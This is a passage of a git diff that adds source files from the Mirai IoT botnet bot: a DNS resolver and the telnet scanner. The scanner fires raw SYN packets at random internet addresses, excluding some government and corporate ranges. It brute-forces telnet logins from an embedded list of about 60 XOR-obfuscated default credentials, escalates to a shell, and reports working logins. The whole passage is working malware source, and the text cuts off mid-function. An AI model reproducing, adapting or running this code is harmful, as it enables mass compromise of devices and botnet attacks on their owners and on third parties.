curr_len = 0; + } + else + { + curr_len++; + *dst_pos++ = c; + } + } + *dst_pos = 0; +} + +static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count) +{ + unsigned int jumped = 0, offset; + *count = 1; + while(*reader != 0) + { + if(*reader >= 192) + { + offset = (*reader)*256 + *(reader+1) - 49152; + reader = buffer + offset - 1; + jumped = 1; + } + reader = reader+1; + if(jumped == 0) + *count = *count + 1; + } + + if(jumped == 1) + *count = *count + 1; +} + +struct resolv_entries *resolv_lookup(char *domain) +{ + struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries)); + char query[2048], response[2048]; + struct dnshdr *dnsh = (struct dnshdr *)query; + char *qname = (char *)(dnsh + 1); + + resolv_domain_to_hostname(qname, domain); + + struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); + struct sockaddr_in addr = {0}; + int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question); + int tries = 0, fd = -1, i = 0; + uint16_t dns_id = rand_next() % 0xffff; + + util_zero(&addr, sizeof (struct sockaddr_in)); + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); + addr.sin_port = htons(53); + + // Set up the dns query + dnsh->id = dns_id; + dnsh->opts = htons(1 << 8); // Recursion desired + dnsh->qdcount = htons(1); + dnst->qtype = htons(PROTO_DNS_QTYPE_A); + dnst->qclass = htons(PROTO_DNS_QCLASS_IP); + + while (tries++ < 5) + { + fd_set fdset; + struct timeval timeo; + int nfds; + + if (fd != -1) + close(fd); + if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) + { +#ifdef DEBUG + printf("[resolv] Failed to create socket\n"); +#endif + sleep(1); + continue; + } + + if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) + { +#ifdef DEBUG + printf("[resolv] Failed to call connect on udp socket\n"); +#endif + sleep(1); + continue; + } + + if (send(fd, query, query_len, MSG_NOSIGNAL) == -1) + { +#ifdef DEBUG + printf("[resolv] Failed to send packet: %d\n", errno); +#endif + sleep(1); + continue; + } + + fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0)); + FD_ZERO(&fdset); + FD_SET(fd, &fdset); + + timeo.tv_sec = 5; + timeo.tv_usec = 0; + nfds = select(fd + 1, &fdset, NULL, NULL, &timeo); + + if (nfds == -1) + { +#ifdef DEBUG + printf("[resolv] select() failed\n"); +#endif + break; + } + else if (nfds == 0) + { +#ifdef DEBUG + printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies"); +#endif + continue; + } + else if (FD_ISSET(fd, &fdset)) + { +#ifdef DEBUG + printf("[resolv] Got response from select\n"); +#endif + int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL); + char *name; + struct dnsans *dnsa; + uint16_t ancount; + int stop; + + if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question))) + continue; + + dnsh = (struct dnshdr *)response; + qname = (char *)(dnsh + 1); + dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); + name = (char *)(dnst + 1); + + if (dnsh->id != dns_id) + continue; + if (dnsh->ancount == 0) + continue; + + ancount = ntohs(dnsh->ancount); + while (ancount-- > 0) + { + struct dns_resource *r_data = NULL; + + resolv_skip_name(name, response, &stop); + name = name + stop; + + r_data = (struct dns_resource *)name; + name = name + sizeof(struct dns_resource); + + if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP)) + { + if (ntohs(r_data->data_len) == 4) + { + uint32_t *p; + uint8_t tmp_buf[4]; + for(i = 0; i < 4; i++) + tmp_buf[i] = name[i]; + + p = (uint32_t *)tmp_buf; + + entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t)); + entries->addrs[entries->addrs_len++] = (*p); +#ifdef DEBUG + printf("[resolv] Found IP address: %08x\n", (*p)); +#endif + } + + name = name + ntohs(r_data->data_len); + } else { + resolv_skip_name(name, response, &stop); + name = name + stop; + } + } + } + + break; + } + + close(fd); + +#ifdef DEBUG + printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len); +#endif + + if (entries->addrs_len > 0) + return entries; + else + { + resolv_entries_free(entries); + return NULL; + } +} + +void resolv_entries_free(struct resolv_entries *entries) +{ + if (entries == NULL) + return; + if (entries->addrs != NULL) + free(entries->addrs); + free(entries); +} diff --git a/mirai/bot/resolv.h b/mirai/bot/resolv.h new file mode 100755 index 0000000..69e335c --- /dev/null +++ b/mirai/bot/resolv.h @@ -0,0 +1,12 @@ +#pragma once + +#include "includes.h" + +struct resolv_entries { + uint8_t addrs_len; + ipv4_t *addrs; +}; + +void resolv_domain_to_hostname(char *, char *); +struct resolv_entries *resolv_lookup(char *); +void resolv_entries_free(struct resolv_entries *); diff --git a/mirai/bot/scanner.c b/mirai/bot/scanner.c new file mode 100755 index 0000000..615aa93 --- /dev/null +++ b/mirai/bot/scanner.c @@ -0,0 +1,991 @@ +#define _GNU_SOURCE + +#ifdef MIRAI_TELNET + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "scanner.h" +#include "table.h" +#include "rand.h" +#include "util.h" +#include "checksum.h" +#include "resolv.h" + +int scanner_pid, rsck, rsck_out, auth_table_len = 0; +char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0}; +struct scanner_auth *auth_table = NULL; +struct scanner_connection *conn_table; +uint16_t auth_table_max_weight = 0; +uint32_t fake_time = 0; + +int recv_strip_null(int sock, void *buf, int len, int flags) +{ + int ret = recv(sock, buf, len, flags); + + if (ret > 0) + { + int i = 0; + + for(i = 0; i < ret; i++) + { + if (((char *)buf)[i] == 0x00) + { + ((char *)buf)[i] = 'A'; + } + } + } + + return ret; +} + +void scanner_init(void) +{ + int i; + uint16_t source_port; + struct iphdr *iph; + struct tcphdr *tcph; + + // Let parent continue on main thread + scanner_pid = fork(); + if (scanner_pid > 0 || scanner_pid == -1) + return; + + LOCAL_ADDR = util_local_addr(); + + rand_init(); + fake_time = time(NULL); + conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection)); + for (i = 0; i < SCANNER_MAX_CONNS; i++) + { + conn_table[i].state = SC_CLOSED; + conn_table[i].fd = -1; + } + + // Set up raw socket scanning and payload + if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("[scanner] Failed to initialize raw socket, cannot scan\n"); +#endif + exit(0); + } + fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0)); + i = 1; + if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0) + { +#ifdef DEBUG + printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n"); +#endif + close(rsck); + exit(0); + } + + do + { + source_port = rand_next() & 0xffff; + } + while (ntohs(source_port) < 1024); + + iph = (struct iphdr *)scanner_rawpkt; + tcph = (struct tcphdr *)(iph + 1); + + // Set up IPv4 header + iph->ihl = 5; + iph->version = 4; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); + iph->id = rand_next(); + iph->ttl = 64; + iph->protocol = IPPROTO_TCP; + + // Set up TCP header + tcph->dest = htons(23); + tcph->source = source_port; + tcph->doff = 5; + tcph->window = rand_next() & 0xffff; + tcph->syn = TRUE; + + // Set up passwords + add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511 + add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv + add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin + add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888 + add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc + add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default + add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech + add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456 + add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321 + add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support + add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none) + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password + add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root + add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345 + add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user + add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none) + add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234 + add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111 + add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666 + add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password + add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234 + add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123 + add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin + add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service + add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor + add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest + add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 + add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 + add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password + add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234 + add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666 + add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888 + add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt + add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234 + add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521 + add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518 + add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd + add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko + add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx. + add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv + add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin + add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system + add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb + add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox + add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user + add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek + add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234 + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass + add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm + add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech + add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker + + +#ifdef DEBUG + printf("[scanner] Scanner process initialized. Scanning started.\n"); +#endif + + // Main logic loop + while (TRUE) + { + fd_set fdset_rd, fdset_wr; + struct scanner_connection *conn; + struct timeval tim; + int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds; + + // Spew out SYN to try and get a response + if (fake_time != last_spew) + { + last_spew = fake_time; + + for (i = 0; i < SCANNER_RAW_PPS; i++) + { + struct sockaddr_in paddr = {0}; + struct iphdr *iph = (struct iphdr *)scanner_rawpkt; + struct tcphdr *tcph = (struct tcphdr *)(iph + 1); + + iph->id = rand_next(); + iph->saddr = LOCAL_ADDR; + iph->daddr = get_random_ip(); + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + if (i % 10 == 0) + { + tcph->dest = htons(2323); + } + else + { + tcph->dest = htons(23); + } + tcph->seq = iph->daddr; + tcph->check = 0; + tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr)); + + paddr.sin_family = AF_INET; + paddr.sin_addr.s_addr = iph->daddr; + paddr.sin_port = tcph->dest; + + sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); + } + } + + // Read packets from raw socket to get SYN+ACKs + last_avail_conn = 0; + while (TRUE) + { + int n; + char dgram[1514]; + struct iphdr *iph = (struct iphdr *)dgram; + struct tcphdr *tcph = (struct tcphdr *)(iph + 1); + struct scanner_connection *conn; + + errno = 0; + n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL); + if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) + break; + + if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) + continue; + if (iph->daddr != LOCAL_ADDR) + continue; + if (iph->protocol != IPPROTO_TCP) + continue; + if (tcph->source != htons(23) && tcph->source != htons(2323)) + continue; + if (tcph->dest != source_port) + continue; + if (!tcph->syn) + continue; + if (!tcph->ack) + continue; + if (tcph->rst) + continue; + if (tcph->fin) + continue; + if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) + continue; + + conn = NULL; + for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++) + { + if (conn_table[n].state == SC_CLOSED) + { + conn = &conn_table[n]; + last_avail_conn = n; + break; + } + } + + // If there were no slots, then no point reading any more + if (conn == NULL) + break; + + conn->dst_addr = iph->saddr; + conn->dst_port = tcph->source; + setup_connection(conn); +#ifdef DEBUG + printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff); +#endif + } + + // Load file descriptors into fdsets + FD_ZERO(&fdset_rd); + FD_ZERO(&fdset_wr); + for (i = 0; i < SCANNER_MAX_CONNS; i++) + { + int timeout; + + conn = &conn_table[i]; + timeout = (conn->state > SC_CONNECTING ? 30 : 5); + + if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout) + { +#ifdef DEBUG + printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state); +#endif + close(conn->fd); + conn->fd = -1; + + // Retry + if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again + { + if (++(conn->tries) == 10) + { + conn->tries = 0; + conn->state = SC_CLOSED; + } + else + { + setup_connection(conn); +#ifdef DEBUG + printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); +#endif + } + } + else + { + conn->tries = 0; + conn->state = SC_CLOSED; + } + continue; + } + + if (conn->state == SC_CONNECTING) + { + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd_wr) + mfd_wr = conn->fd; + } + else if (conn->state != SC_CLOSED) + { + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd_rd) + mfd_rd = conn->fd; + } + } + + tim.tv_usec = 0; + tim.tv_sec = 1; + nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim); + fake_time = time(NULL); + + for (i = 0; i < SCANNER_MAX_CONNS; i++) + { + conn = &conn_table[i]; + + if (conn->fd == -1) + continue; + + if (FD_ISSET(conn->fd, &fdset_wr)) + { + int err = 0, ret = 0; + socklen_t err_len = sizeof (err); + + ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); + if (err == 0 && ret == 0) + { + conn->state = SC_HANDLE_IACS; + conn->auth = random_auth_entry(); + conn->rdbuf_pos = 0; +#ifdef DEBUG + printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password); +#endif + } + else + { +#ifdef DEBUG + printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err); +#endif + close(conn->fd); + conn->fd = -1; + conn->tries = 0; + conn->state = SC_CLOSED; + continue; + } + } + + if (FD_ISSET(conn->fd, &fdset_rd)) + { + while (TRUE) + { + int ret; + + if (conn->state == SC_CLOSED) + break; + + if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE) + { + memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN); + conn->rdbuf_pos -= SCANNER_HACK_DRAIN; + } + errno = 0; + ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); + if (ret == 0) + { +#ifdef DEBUG + printf("[scanner] FD%d connection gracefully closed\n", conn->fd); +#endif + errno = ECONNRESET; + ret = -1; // Fall through to closing connection below + } + if (ret == -1) + { + if (errno != EAGAIN && errno != EWOULDBLOCK) + { +#ifdef DEBUG + printf("[scanner] FD%d lost connection\n", conn->fd); +#endif + close(conn->fd); + conn->fd = -1; + + // Retry + if (++(conn->tries) >= 10) + { + conn->tries = 0; + conn->state = SC_CLOSED; + } + else + { + setup_connection(conn); +#ifdef DEBUG + printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); +#endif + } + } + break; + } + conn->rdbuf_pos += ret; + conn->last_recv = fake_time; + + while (TRUE) + { + int consumed = 0; + + switch (conn->state) + { + case SC_HANDLE_IACS: + if ((consumed = consume_iacs(conn)) > 0) + { + conn->state = SC_WAITING_USERNAME; +#ifdef DEBUG + printf("[scanner] FD%d finished telnet negotiation\n", conn->fd); +#endif + } + break; + case SC_WAITING_USERNAME: + if ((consumed = consume_user_prompt(conn)) > 0) + { + send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + conn->state = SC_WAITING_PASSWORD; +#ifdef DEBUG + printf("[scanner] FD%d received username prompt\n", conn->fd); +#endif + } + break; + case SC_WAITING_PASSWORD: + if ((consumed = consume_pass_prompt(conn)) > 0) + { +#ifdef DEBUG + printf("[scanner] FD%d received password prompt\n", conn->fd); +#endif + + // Send password + send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + + conn->state = SC_WAITING_PASSWD_RESP; + } + break; + case SC_WAITING_PASSWD_RESP: + if ((consumed = consume_any_prompt(conn)) > 0) + { + char *tmp_str; + int tmp_len; + +#ifdef DEBUG + printf("[scanner] FD%d received shell prompt\n", conn->fd); +#endif + + // Send enable / system / shell / sh to session to drop into shell if needed + table_unlock_val(TABLE_SCAN_ENABLE); + tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len); + send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + table_lock_val(TABLE_SCAN_ENABLE); + conn->state = SC_WAITING_ENABLE_RESP; + } + break; + case SC_WAITING_ENABLE_RESP: + if ((consumed = consume_any_prompt(conn)) > 0) + { + char *tmp_str; + int tmp_len; + +#ifdef DEBUG + printf("[scanner] FD%d received sh prompt\n", conn->fd); +#endif + + table_unlock_val(TABLE_SCAN_SYSTEM); + tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len); + send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + table_lock_val(TABLE_SCAN_SYSTEM); + + conn->state = SC_WAITING_SYSTEM_RESP; + } + break; + case SC_WAITING_SYSTEM_RESP: + if ((consumed = consume_any_prompt(conn)) > 0) + { + char *tmp_str; + int tmp_len; + +#ifdef DEBUG + printf("[scanner] FD%d received sh prompt\n", conn->fd); +#endif + + table_unlock_val(TABLE_SCAN_SHELL); + tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len); + send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + table_lock_val(TABLE_SCAN_SHELL); + + conn->state = SC_WAITING_SHELL_RESP; + } + break; + case SC_WAITING_SHELL_RESP: + if ((consumed = consume_any_prompt(conn)) > 0) + { + char *tmp_str; + int tmp_len; + +#ifdef DEBUG + printf("[scanner] FD%d received enable prompt\n", conn->fd); +#endif + + table_unlock_val(TABLE_SCAN_SH); + tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len); + send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + table_lock_val(TABLE_SCAN_SH); + + conn->state = SC_WAITING_SH_RESP; + } + break; + case SC_WAITING_SH_RESP: + if ((consumed = consume_any_prompt(conn)) > 0) + { + char *tmp_str; + int tmp_len; + +#ifdef DEBUG + printf("[scanner] FD%d received sh prompt\n", conn->fd); +#endif + + // Send query string + table_unlock_val(TABLE_SCAN_QUERY); + tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len); + send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + table_lock_val(TABLE_SCAN_QUERY); + + conn->state = SC_WAITING_TOKEN_RESP; + } + break; + case SC_WAITING_TOKEN_RESP: + consumed = consume_resp_prompt(conn); + if (consumed == -1) + { +#ifdef DEBUG + printf("[scanner] FD%d invalid username/password combo\n", conn->fd); +#endif + close(conn->fd); + conn->fd = -1; + + // Retry + if (++(conn->tries) == 10) + { + conn->tries = 0; + conn->state = SC_CLOSED; + } + else + { + setup_connection(conn); +#ifdef DEBUG + printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); +#endif + } + } + else if (consumed > 0) + { + char *tmp_str; + int tmp_len; +#ifdef DEBUG + printf("[scanner] FD%d Found verified working telnet\n", conn->fd); +#endif + report_working(conn->dst_addr, conn->dst_port, conn->auth); + close(conn->fd); + conn->fd = -1; + conn->state = SC_CLOSED; + } + break; + default: + consumed = 0; + break; + } + + // If no data was consumed, move on + if (consumed == 0) + break; + else + { + if (consumed > conn->rdbuf_pos) + consumed = conn->rdbuf_pos; + + conn->rdbuf_pos -= consumed; + memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); + } + } + } + } + } + } +} + +void scanner_kill(void) +{ + kill(scanner_pid, 9); +} + +static void setup_connection(struct scanner_connection *conn) +{ + struct sockaddr_in addr = {0}; + + if (conn->fd != -1) + close(conn->fd); + if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { +#ifdef DEBUG + printf("[scanner] Failed to call socket()\n"); +#endif + return; + } + + conn->rdbuf_pos = 0; + util_zero(conn->rdbuf, sizeof(conn->rdbuf)); + + fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = conn->dst_addr; + addr.sin_port = conn->dst_port; + + conn->last_recv = fake_time; + conn->state = SC_CONNECTING; + connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); +} + +static ipv4_t get_random_ip(void) +{ + uint32_t tmp; + uint8_t o1, o2, o3, o4; + + do + { + tmp = rand_next(); + + o1 = tmp & 0xff; + o2 = (tmp >> 8) & 0xff; + o3 = (tmp >> 16) & 0xff; + o4 = (tmp >> 24) & 0xff; + } + while (o1 == 127 || // 127.0.0.0/8 - Loopback + (o1 == 0) || // 0.0.0.0/8 - Invalid address space + (o1 == 3) || // 3.0.0.0/8 - General Electric Company + (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company + (o1 == 56) || // 56.0.0.0/8 - US Postal Service + (o1 == 10) || // 10.0.0.0/8 - Internal network + (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network + (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network + (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved + (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved + (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use + (o1 >= 224) || // 224.*.*.*+ - Multicast + (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense + ); + + return INET_ADDR(o1,o2,o3,o4); +} + +static int consume_iacs(struct scanner_connection *conn) +{ + int consumed = 0; + uint8_t *ptr = conn->rdbuf; + + while (consumed < conn->rdbuf_pos) + { + int i; + + if (*ptr != 0xff) + break; + else if (*ptr == 0xff) + { + if (!can_consume(conn, ptr, 1)) + break; + if (ptr[1] == 0xff) + { + ptr += 2; + consumed += 2; + continue; + } + else if (ptr[1] == 0xfd) + { + uint8_t tmp1[3] = {255, 251, 31}; + uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; + + if (!can_consume(conn, ptr, 2)) + break; + if (ptr[2] != 31) + goto iac_wont; + + ptr += 3; + consumed += 3; + + send(conn->fd, tmp1, 3, MSG_NOSIGNAL); + send(conn->fd, tmp2, 9, MSG_NOSIGNAL); + } + else + { + iac_wont: + + if (!can_consume(conn, ptr, 2)) + break; + + for (i = 0; i < 3; i++) + { + if (ptr[i] == 0xfd) + ptr[i] = 0xfc; + else if (ptr[i] == 0xfb) + ptr[i] = 0xfd; + } + + send(conn->fd, ptr, 3, MSG_NOSIGNAL); + ptr += 3; + consumed += 3; + } + } + } + + return consumed; +} + +static int consume_any_prompt(struct scanner_connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos - 1; i > 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') + { + prompt_ending = i + 1; + break; + } + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +static int consume_user_prompt(struct scanner_connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos - 1; i > 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == 